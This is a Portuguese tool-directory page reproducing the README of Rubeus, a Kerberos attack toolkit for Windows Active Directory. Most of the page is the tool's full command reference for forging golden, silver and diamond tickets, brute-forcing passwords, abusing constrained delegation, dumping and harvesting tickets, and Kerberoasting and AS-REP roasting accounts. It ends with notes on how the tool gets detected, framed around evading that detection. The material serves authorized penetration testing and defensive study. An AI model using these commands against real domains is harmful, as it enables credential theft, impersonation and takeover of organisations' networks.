Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Rubeus — Tentando domar o cão de três cabeças. | Kitploit
Ferramentas/GitHubGitHub/ghostpack/rubeus
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoAutenticaçãoRed Teaming
GitHubghostpack/rubeus

Rubeus

Tentando domar o cão de três cabeças.

Ver Repositório
5.1k898há 9 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Rubeus


Rubeus é um conjunto de ferramentas C# para interação bruta com Kerberos e abusos. É fortemente adaptado do projeto Kekeo de Benjamin Delpy (licença CC BY-NC-SA 4.0) e do projeto MakeMeEnterpriseAdmin de Vincent LE TOUX (licença GPL v3.0). Todo o crédito vai para Benjamin e Vincent por resolverem os componentes difíceis da weaponização — sem o trabalho anterior deles este projeto não existiria.

Charlie Clark e Ceri Coburn ambos fizeram contribuições significativas como codesenvolvedores da base de código do Rubeus. Elad Shamir contribuiu com trabalho essencial para delegação restrita baseada em recursos. O trabalho deles é muito apreciado!

Rubeus também usa uma biblioteca de análise/codificação ASN.1 em C# de Thomas Pornin chamada DDer, lançada com uma licença "tipo MIT". Muito obrigado a Thomas por seu código limpo e estável!

Código PKINIT fortemente adaptado da ferramenta Bruce de @SteveSyfuhs. Bruce tornou RFC4556 (PKINIT) muito mais fácil de entender. Muito obrigado a Steve!

A codificação e decodificação NDR para PAC Kerberos é baseada na biblioteca NtApiDotNet de @tiraniddo, obrigado James.

O método KerberosRequestorSecurityToken.GetRequest para Kerberoasting foi contribuído para o PowerView (e depois incorporado ao Rubeus) por @machosec.

@harmj0y é o autor principal desta base de código.

Rubeus está licenciado sob a licença BSD 3-Clause.

Índice

  • Rubeus
    • Índice
    • Antecedentes
      • Uso de Linha de Comando
      • Notas de Opsec
        • Visão Geral
        • Weaponização
        • Exemplo: Extração de Credenciais
        • Exemplo: Over-pass-the-hash
    • Requisições e renovações de tickets
      • asktgt
      • asktgs
      • renew
      • brute|spray
    • Abuso de delegação restrita
      • s4u
    • Falsificação de Tickets
      • golden
      • silver
      • diamond
    • Gerenciamento de Tickets
      • ptt
      • purge
      • describe
    • Extração e Coleta de Tickets
      • triage
      • klist
      • dump
      • tgtdeleg
      • monitor
      • harvest
    • Roasting
      • kerberoast
        • kerberoasting opsec
        • Exemplos
      • asreproast
    • Diversos
      • createnetonly
      • changepw
      • hash
      • tgssub
      • currentluid
      • logonsession
      • asrep2kirbi
      • kirbi

Antecedentes

Uso de Linha de Comando

root@kitploit:~
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


 Requisições e renovações de tickets:

    Recupere um TGT baseado em senha/hash de usuário, opcionalmente salvando em um arquivo ou aplicando à sessão de logon atual ou a um LUID específico:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Recupere um TGT baseado em senha/hash de usuário, opcionalmente salvando em um arquivo ou aplicando à sessão de logon atual ou a um LUID específico:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Recupere um TGT baseado em senha/hash de usuário, inicie um processo /netonly e aplique o ticket ao novo processo/sessão de logon:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Recupere um TGT usando um certificado PCKS12, inicie um processo /netonly e aplique o ticket ao novo processo/sessão de logon:
        Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Recupere um TGT usando um certificado do keystore do usuário (Smartcard) especificando a impressão digital ou o assunto do certificado, inicie um processo /netonly e aplique o ticket ao novo processo/sessão de logon:
        Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]

    Recupere um TGT adequado para alterar uma conta com senha expirada usando o comando changepw:
        Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Solicite um TGT sem enviar dados de pré-autenticação:
        Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Solicite um ticket de serviço usando um AS-REQ:
        Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

   Recupere um ticket de serviço para um ou mais SPNs, opcionalmente salvando ou aplicando o ticket:
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Recupere um ticket de serviço usando as opções de Solicitação de Lista de Chaves Kerberos:
    	Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Recupere um ticket de conta de serviço gerenciada delegada:
    	Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Renove um TGT, opcionalmente aplicando o ticket, salvando-o, ou renovando automaticamente até seu limite de renew-till:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

    Realize um ataque de força bruta de senhas baseado em Kerberos:
        Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

    Realize uma varredura por contas que não exigem pré-autenticação:
        Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]


 Abuso de delegação restrita:

    Execute abuso de delegação restrita S4U:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]

    Execute abuso de delegação restrita S4U entre domínios:
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]


 Falsificação de Tickets:

    Forje um golden ticket usando LDAP para obter as informações relevantes:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um golden ticket usando LDAP para obter as informações relevantes, mas substituindo explicitamente alguns valores:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um golden ticket, definindo valores explicitamente:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um silver ticket usando LDAP para obter as informações relevantes:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um silver ticket usando LDAP para obter as informações relevantes, usando a chave KRBTGT para calcular o KDCChecksum e TicketChecksum:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um silver ticket usando LDAP para obter as informações relevantes, mas substituindo explicitamente alguns valores:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um silver ticket usando LDAP para obter as informações relevantes e incluindo uma seção PAC de Informações de Delegação S4U:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um silver ticket usando LDAP para obter as informações relevantes e definindo um cname e crealm diferentes:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]

    Forje um silver ticket, definindo valores explicitamente:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

	Forje um diamond TGT solicitando um TGT baseado em senha/hash de usuário:
		Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	Forje um diamond TGT solicitando um TGT usando um certificado PCKS12:
		Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	Forje um diamond TGT solicitando um TGT usando tgtdeleg:
		Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]


 Gerenciamento de tickets:

    Submeta um TGT, opcionalmente direcionando um LUID específico (se elevado):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Limpe os tickets da sessão de logon atual, opcionalmente direcionando um LUID específico (se elevado):
        Rubeus.exe purge [/luid:LOGINID]

    Analise e descreva um ticket (ticket de serviço ou TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]


 Extração e coleta de tickets:

    Faça triagem de todos os tickets atuais (se elevado, liste para todos os usuários), opcionalmente direcionando um LUID, nome de usuário ou serviço específico:
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Liste todos os tickets atuais em detalhes (se elevado, liste para todos os usuários), opcionalmente direcionando um LUID específico:
        Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Despeje todos os dados de tickets atuais (se elevado, despeje para todos os usuários), opcionalmente direcionando um serviço/LUID específico:
        Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

    Recupere um TGT .kirbi utilizável para o usuário atual (com chave de sessão) sem elevação, abusando da GSS-API do Kerberos, falsificando delegação:
        Rubeus.exe tgtdeleg [/target:SPN]Monitorar a cada /interval SEGUNDOS (padrão 60) por novos TGTs:
        Rubeus.exe monitor [/interval:SEGUNDOS] [/targetuser:USUARIO] [/nowrap] [/registry:NOMEDOSOFTWARE] [/runfor:SEGUNDOS]

    Monitorar a cada /monitorinterval SEGUNDOS (padrão 60) por novos TGTs, renovar automaticamente TGTs e exibir o cache funcional a cada /displayinterval SEGUNDOS (padrão 1200):
        Rubeus.exe harvest [/monitorinterval:SEGUNDOS] [/displayinterval:SEGUNDOS] [/targetuser:USUARIO] [/nowrap] [/registry:NOMEDOSOFTWARE] [/runfor:SEGUNDOS]


 Torrefação:

    Realizar Kerberoasting:
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Realizar Kerberoasting, enviando hashes para um arquivo:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU=,..."] [/ldaps]

    Realizar Kerberoasting, enviando hashes no formato de saída de arquivo, mas para o console:
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Realizar Kerberoasting com credenciais alternativas:
        Rubeus.exe kerberoast /creduser:DOMINIO.FQDN\USUARIO /credpassword:SENHA [/spn:"blah/blah"] [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Realizar Kerberoasting com um TGT existente:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:ARQUIVO.KIRBI> [/nowrap]

    Realizar Kerberoasting com um TGT existente usando um principal empresarial:
        Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:ARQUIVO.KIRBI> [/nowrap]

    Realizar Kerberoasting com um TGT existente e tentar automaticamente novamente com o principal empresarial se algum falhar:
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:ARQUIVO.KIRBI> /autoenterprise [/ldaps] [/nowrap]

    Realizar Kerberoasting usando o ticket tgtdeleg para solicitar tickets de serviço - solicita RC4 para contas AES:
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]

    Realizar Kerberoasting "opsec", usando tgtdeleg e filtrando contas com AES habilitado:
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]

    Listar estatísticas sobre contas Kerberoastable encontradas sem realmente enviar solicitações de ticket:
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]

    Realizar Kerberoasting, solicitando tickets apenas para contas com contagem de administrador igual a 1 (filtro LDAP personalizado):
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]

    Realizar Kerberoasting, solicitando tickets apenas para contas cuja senha foi definida pela última vez entre 31-01-2005 e 29-03-2010, retornando até 5 tickets de serviço:
        Rubeus.exe kerberoast /pwdsetafter:31-01-2005 /pwdsetbefore:29-03-2010 /resultlimit:5 [/ldaps] [/nowrap]

    Realizar Kerberoasting, com um atraso de 5000 milissegundos e uma variação de 30%:
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]

    Realizar AES Kerberoasting:
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

    Realizar Kerberoasting usando uma conta sem pré-autenticação enviando AS-REQ:
        Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USUARIO /domain:DOMINIO [/dc:CONTROLADOR_DOMINIO] [/nowrap]

    Realizar AS-REP "roasting" para quaisquer usuários sem pré-autenticação:
        Rubeus.exe asreproast [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]

    Realizar AS-REP "roasting" para quaisquer usuários sem pré-autenticação, enviando o formato Hashcat para um arquivo:
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU=,..."] [/ldaps] [/des]

    Realizar AS-REP "roasting" para quaisquer usuários sem pré-autenticação usando credenciais alternativas:
        Rubeus.exe asreproast /creduser:DOMINIO.FQDN\USUARIO /credpassword:SENHA [/user:USUARIO] [/domain:DOMINIO] [/dc:CONTROLADOR_DOMINIO] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]


 Diversos:

    Criar um programa oculto (a menos que /show seja passado) com credenciais aleatórias /netonly, exibindo o PID e LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:ARQUIVO.KIRBI]

    Redefinir a senha de um usuário a partir de um TGT fornecido (AoratoPw):
        Rubeus.exe changepw </ticket:BASE64 | /ticket:ARQUIVO.KIRBI> /new:SENHA [/dc:CONTROLADOR_DOMINIO] [/targetuser:DOMINIO\NOMEDOUSUARIO]

    Calcular hashes rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 e des_cbc_md5:
        Rubeus.exe hash /password:X [/user:USUARIO] [/domain:DOMINIO]

    Substituir um sname ou SPN em um ticket de serviço existente:
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:ARQUIVO.KIRBI> /altservice:ldap [/srealm:DOMINIO] [/ptt] [/luid] [/nowrap]
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:ARQUIVO.KIRBI> /altservice:cifs/computer.dominio.com [/srealm:DOMINIO] [/ptt] [/luid] [/nowrap]

    Exibir o LUID do usuário atual:
        Rubeus.exe currentluid

    Exibir informações sobre a sessão de logon (atual) ou (destino), padrão todas legíveis:
        Rubeus.exe logonsession [/current] [/luid:X]

    O argumento "/consoleoutfile:C:\FILE.txt" redireciona toda a saída do console para o arquivo especificado.

    O sinalizador "/nowrap" impede que qualquer blob de ticket base64 seja quebrado em colunas para qualquer função.

    O sinalizador "/debug" exibe informações de depuração ASN.1.

    Converter um AS-REP e uma chave em um Kirbi:
        Rubeus.exe asrep2kirbi /asrep:<BASE64 | CAMINHODOARQUIVO> </key:BASE64 | /keyhex:STRINGHEX> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]

    Inserir nova chave de sessão DES em um Kirbi:
        Rubeus.exe kirbi /kirbi:<BASE64 | CAMINHODOARQUIVO> /sessionkey:CHAVEDESESSAO /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:NOMEDOARQUIVO] [/nowrap]


 NOTA: Blobs de ticket Base64 podem ser decodificados com:

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

Notas de Opsec

Esta seção cobre algumas notas sobre a segurança operacional do uso do Rubeus em um ambiente, com alguns exemplos técnicos comparando/contrastando algumas de suas abordagens com o Mimikatz. O material aqui será expandido no futuro.

Visão geral

Qualquer ação que você execute em um sistema é um risco detectável, especialmente ao abusar de funcionalidades de maneiras "estranhas"/não intencionais. O Rubeus (como qualquer conjunto de ferramentas de atacante) pode ser detectado por vários métodos, seja pela perspectiva do host, da rede ou do domínio. Tenho um colega de trabalho que gosta de dizer "tudo é furtivo até que alguém esteja procurando por isso" - ferramentas e técnicas geralmente escapam da detecção porque a) as pessoas não estão suficientemente cientes da ferramenta/técnica e, portanto, nem mesmo procurando, b) as pessoas não conseguem coletar e processar os dados necessários na escala adequada, ou c) a ferramenta/técnica se mistura com o comportamento existente para se infiltrar suficientemente com falsos positivos em um ambiente. Há muito mais informações sobre essas etapas e subversão de detecção em geral na palestra de Matt Graeber e Lee Christensen no Black Hat USA 2018 “Subverting Sysmon” e no whitepaper associado.

Da perspectiva do host, o Rubeus pode ser pego durante a weaponization inicial do próprio código, por um processo anormal (não lsass.exe) emitindo tráfego Kerberos bruto na porta 88, pelo uso de APIs sensíveis como LsaCallAuthenticationPackage(), ou por tickets anormais presentes no host (por exemplo, uso de rc4_hmac em tickets em um ambiente moderno).

